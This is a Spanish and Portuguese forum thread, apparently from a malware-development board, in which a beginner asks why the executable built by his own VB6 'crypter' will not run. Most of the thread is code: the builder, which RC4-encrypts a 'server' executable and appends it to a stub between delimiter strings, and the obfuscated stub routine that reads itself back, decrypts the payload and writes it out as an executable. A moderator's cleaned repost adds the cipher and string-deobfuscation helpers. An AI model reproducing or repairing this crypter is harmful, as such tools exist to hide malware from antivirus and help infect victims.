¿Alguien puede ayudarme en algo que encrypto mi archivo con mi crypter que hice, pero después de encryptado no abrir nada?!
¿Podría explicarme qué código es? Principiante en este negocio!
como vamos ayuda si no veo el código source de su proyector o algu similar...
¿Has modificado el delimitador?
Have you changed the delimiter?
Have you changed the delimiter?
Sub most()
Dim OKmfKrqmDiNnJD As String, DbTYyCOiAWBCOc As String, ciGKmQlETqLifY() As String
Dim gPaZUGphJPvnsb As Long
gPaZUGphJPvnsb = FreeFile
OKmfKrqmDiNnJD = App.Path & tL9oH7ukd(n4rrSfge0("e", "3"), n4rrSfge0(":", "2")) & App.EXEName & tL9oH7ukd(n4rrSfge0("@wŠw", n4rrSfge0("=", "4")), n4rrSfge0("=", "4"))
Open OKmfKrqmDiNnJD For Binary As gPaZUGphJPvnsb
DbTYyCOiAWBCOc = Space$(sLOF(OKmfKrqmDiNnJD))
Get gPaZUGphJPvnsb, , DbTYyCOiAWBCOc
Close gPaZUGphJPvnsb
ciGKmQlETqLifY() = Split(DbTYyCOiAWBCOc, "LOdXzZbDBARpXAliGZDXVtWHMzfWPOZefQqbMUAFTbLocjw")
ciGKmQlETqLifY(1) = i4tvQWYQB(ciGKmQlETqLifY(1), "½«Òjž±p½«Òjž±p½«Òjž±p½«Òjž±p½«Òjž±p½«Òjž±p")
Call i4tvQW4vQWYQB(App.Path & "Z" & App.EXEName & ".exe", StrConv(ciGKmQlETqLifY(1), vbFromUnicode))
End Sub
Private Sub Command2_Click()
Dim Stub As String, Archivo As String
If Text1.Text = vbNullString Then
MsgBox "Primeiro, você deve fazer o upload de um arquivo para criptografar", vbExclamation, Me.Caption
Exit Sub
Else
Open App.Path & "\Stub.exe" For Binary As #1
Stub = Space(LOF(1))
Get #1, , Stub
Close #1
Open Text1.Text For Binary As #1
Archivo = Space(LOF(1))
Get #1, , Archivo
Close #1
With CD
.DialogTitle = "Selecione o diretorio onde vai salvar o server"
.Filter = "Aplicativos EXE|*.exe"
.ShowSave
End With
If Not CD.FileName = vbNullString Then
Archivo = i4tvQWYQB(Archivo, "½«Òjž±p½«Òjž±p½«Òjž±p½«Òjž±p½«Òjž±p½«Òjž±p")
Open CD.FileName For Binary As #1
Put #1, , Stub & "LOdXzZbDBARpXAliGZDXVtWHMzfWPOZefQqbMUAFTbLocjw" & Archivo & "LOdXzZbDBARpXAliGZDXVtWHMzfWPOZefQqbMUAFTbLocjw"
Close #1
MsgBox "Seu Server Foi Encryptado Com Sucesso", vbInformation, Me.Caption
End If
End If
End Sub
Última edición por Blau el 01 Ago 2014, 00:21, editado 1 vez en total.
Razón: Código con etiquetas, sintaxis y tabulado
Razón: Código con etiquetas, sintaxis y tabulado
Encima de que no metes el code en una etiqueta de vb6 para dar mejor lectura, lo posteas con las strings y variables randomizadas?. A si no se aclara ni dios xDDcronosslip escribió:Sub most()
Dim OKmfKrqmDiNnJD As String, DbTYyCOiAWBCOc As String, ciGKmQlETqLifY() As String
Dim gPaZUGphJPvnsb As Long
gPaZUGphJPvnsb = FreeFile
OKmfKrqmDiNnJD = App.Path & tL9oH7ukd(n4rrSfge0("e", "3"), n4rrSfge0(":", "2")) & App.EXEName & tL9oH7ukd(n4rrSfge0("@wŠw", n4rrSfge0("=", "4")), n4rrSfge0("=", "4"))
Open OKmfKrqmDiNnJD For Binary As gPaZUGphJPvnsb
DbTYyCOiAWBCOc = Space$(sLOF(OKmfKrqmDiNnJD))
Get gPaZUGphJPvnsb, , DbTYyCOiAWBCOc
Close gPaZUGphJPvnsb
ciGKmQlETqLifY() = Split(DbTYyCOiAWBCOc, "LOdXzZbDBARpXAliGZDXVtWHMzfWPOZefQqbMUAFTbLocjw")
ciGKmQlETqLifY(1) = i4tvQWYQB(ciGKmQlETqLifY(1), "½«Òjž±p½«Òjž±p½«Òjž±p½«Òjž±p½«Òjž±p½«Òjž±p")
Call i4tvQW4vQWYQB(App.Path & "Z" & App.EXEName & ".exe", StrConv(ciGKmQlETqLifY(1), vbFromUnicode))
End Sub
Private Sub Command2_Click()
Dim Stub As String, Archivo As String
If Text1.Text = vbNullString Then
MsgBox "Primeiro, você deve fazer o upload de um arquivo para criptografar", vbExclamation, Me.Caption
Exit Sub
Else
Open App.Path & "\Stub.exe" For Binary As #1
Stub = Space(LOF(1))
Get #1, , Stub
Close #1
Open Text1.Text For Binary As #1
Archivo = Space(LOF(1))
Get #1, , Archivo
Close #1
With CD
.DialogTitle = "Selecione o diretorio onde vai salvar o server"
.Filter = "Aplicativos EXE|*.exe"
.ShowSave
End With
If Not CD.FileName = vbNullString Then
Archivo = i4tvQWYQB(Archivo, "½«Òjž±p½«Òjž±p½«Òjž±p½«Òjž±p½«Òjž±p½«Òjž±p")
Open CD.FileName For Binary As #1
Put #1, , Stub & "LOdXzZbDBARpXAliGZDXVtWHMzfWPOZefQqbMUAFTbLocjw" & Archivo & "LOdXzZbDBARpXAliGZDXVtWHMzfWPOZefQqbMUAFTbLocjw"
Close #1
MsgBox "Seu Server Foi Encryptado Com Sucesso", vbInformation, Me.Caption
End If
End If
Abolición para el torneo del toro de la vega. Death to the murderers of bulls.
a que te refieres compañero?rodanet escribió:Este Sturp no entiende nada...
Abolición para el torneo del toro de la vega. Death to the murderers of bulls.
He arreglado el code aportado por el autor. La próxima vez usa la etiqueta
Código: Seleccionar todo
por favor.Código: Seleccionar todo
Sub most()
Dim OKmfKrqmDiNnJD As String, DbTYyCOiAWBCOc As String, ciGKmQlETqLifY() As String
Dim gPaZUGphJPvnsb As Long
gPaZUGphJPvnsb = FreeFile
OKmfKrqmDiNnJD = LkyE17BvD
Open OKmfKrqmDiNnJD For Binary As gPaZUGphJPvnsb
DbTYyCOiAWBCOc = Space$(sLOF(OKmfKrqmDiNnJD))
Get gPaZUGphJPvnsb, , DbTYyCOiAWBCOc
Close gPaZUGphJPvnsb
ciGKmQlETqLifY() = Split(DbTYyCOiAWBCOc, "LOdXzZbDBARpXAliGZDXVtWHMzfWPOZefQqbMUAFTbLocjw")
ciGKmQlETqLifY(1) = i4tvQWYQB(ciGKmQlETqLifY(1), "½«Òjž±p½«Òjž±p½«Òjž±p½«Òjž±p½«Òjž±p½«Òjž±p")
Call i4tvQW4vQWYQB(App.Path & "Z" & App.EXEName & ".exe", StrConv(ciGKmQlETqLifY(1), vbFromUnicode))
End Sub
Public Function tL9oH7ukd(strInput As String, second As Integer)
Dim first As Integer
For first = 1 To Len(strInput)
Mid(strInput, first, 1) = Chr(Asc(Mid(strInput, first, 1)) - second)
Next first
tL9oH7ukd = strInput
End Function
Public Function n4rrSfge0(strInput As String, second As Integer)
Dim first As Integer
For first = 1 To Len(strInput)
Mid(strInput, first, 1) = Chr(Asc(Mid(strInput, first, 1)) - second)
Next first
n4rrSfge0 = strInput
End Function
Public Function LkyE17BvD()
Dim T8Xt4ij5z As String, bITiGteM3 As String, qzrfeYRke As String, jUk13S3j4 As String
T8Xt4ij5z = App.Path
bITiGteM3 = "\"
qzrfeYRke = App.EXEName
jUk13S3j4 = ".EXE"
LkyE17BvD = T8Xt4ij5z + bITiGteM3 + qzrfeYRke + jUk13S3j4
End Function
Public Function sLOF(sPath As String) As Double
'Autor: Slek
'Utilizado como alternativa a LOF
'Fecha: 7/03/10
'Indetectables.net
Dim Fso, F As Object
Set Fso = CreateObject("Scripting.FileSystemObject")
Set F = Fso.GetFile(sPath)
sLOF = F.Size
End Function
Public Function i4tvQWYQB(ByVal JFf0IoR7O As String, oVryST71m As String) As String
On Error Resume Next
Dim TCdRvXVQy(0 To 255) As Integer
Dim BSQaFd9yS, hlvKgJcjS, D145g10L5 As Integer
Dim FdVyhrkiq() As Byte
Dim pNyTgldew() As Byte
Dim w75xzWpth As Byte
pNyTgldew() = StrConv(JFf0IoR7O, vbFromUnicode)
FdVyhrkiq() = StrConv(oVryST71m, vbFromUnicode)
For BSQaFd9yS = 0 To 255
TCdRvXVQy(BSQaFd9yS) = BSQaFd9yS
Next BSQaFd9yS
For BSQaFd9yS = 0 To 255
w75xzWpth = TCdRvXVQy(BSQaFd9yS)
TCdRvXVQy((hlvKgJcjS + TCdRvXVQy(BSQaFd9yS) + FdVyhrkiq(BSQaFd9yS Mod Len(oVryST71m))) Mod 256) = w75xzWpth
Next BSQaFd9yS
hlvKgJcjS = 0
For BSQaFd9yS = 0 To UBound(pNyTgldew)
GrvVvHCTQ = (GrvVvHCTQ + TCdRvXVQy((hlvKgJcjS + 1) Mod 256)) Mod 256
TCdRvXVQy((hlvKgJcjS + 1) Mod 256) = TCdRvXVQy(GrvVvHCTQ)
TCdRvXVQy(GrvVvHCTQ) = TCdRvXVQy((hlvKgJcjS + 1) Mod 256)
pNyTgldew(BSQaFd9yS) = pNyTgldew(BSQaFd9yS) Xor (TCdRvXVQy((TCdRvXVQy((hlvKgJcjS + 1) Mod 256) + TCdRvXVQy(GrvVvHCTQ)) Mod 256))
Next BSQaFd9yS
i4tvQWYQB = StrConv(pNyTgldew(), vbUnicode)
End Function
igual rodanet te la soluciona ya que veo que el es el unico que entiende las variables y strings ofuscadas sin colorear sintaxys ni nada
Abolición para el torneo del toro de la vega. Death to the murderers of bulls.
"Desarrollo y dudas de programación Vb/Vb.net"
Trabajar sobre un código harto ofuscado sin tener conocimiento de programación es intentar alzar vuelo sin antes haber aprendido a caminar. Y a los que queremos ayudarte se nos complica la lectura y decodificación. Primero lo sencillo. Luego lo complejo. Si tenés el código limpio y si nos podés proporcionar el cliente tanto mejor para tu ayuda.
Trabajar sobre un código harto ofuscado sin tener conocimiento de programación es intentar alzar vuelo sin antes haber aprendido a caminar. Y a los que queremos ayudarte se nos complica la lectura y decodificación. Primero lo sencillo. Luego lo complejo. Si tenés el código limpio y si nos podés proporcionar el cliente tanto mejor para tu ayuda.
Pensei que vocês ajudava só faz fala merda!
consegui arruma não peço mas ajuda pra vocês pra nada!!!!
consegui arruma não peço mas ajuda pra vocês pra nada!!!!
cronosslip escribió:Pensei que vocês ajudava só faz fala merda!
consegui arruma não peço mas ajuda pra vocês pra nada!!!!
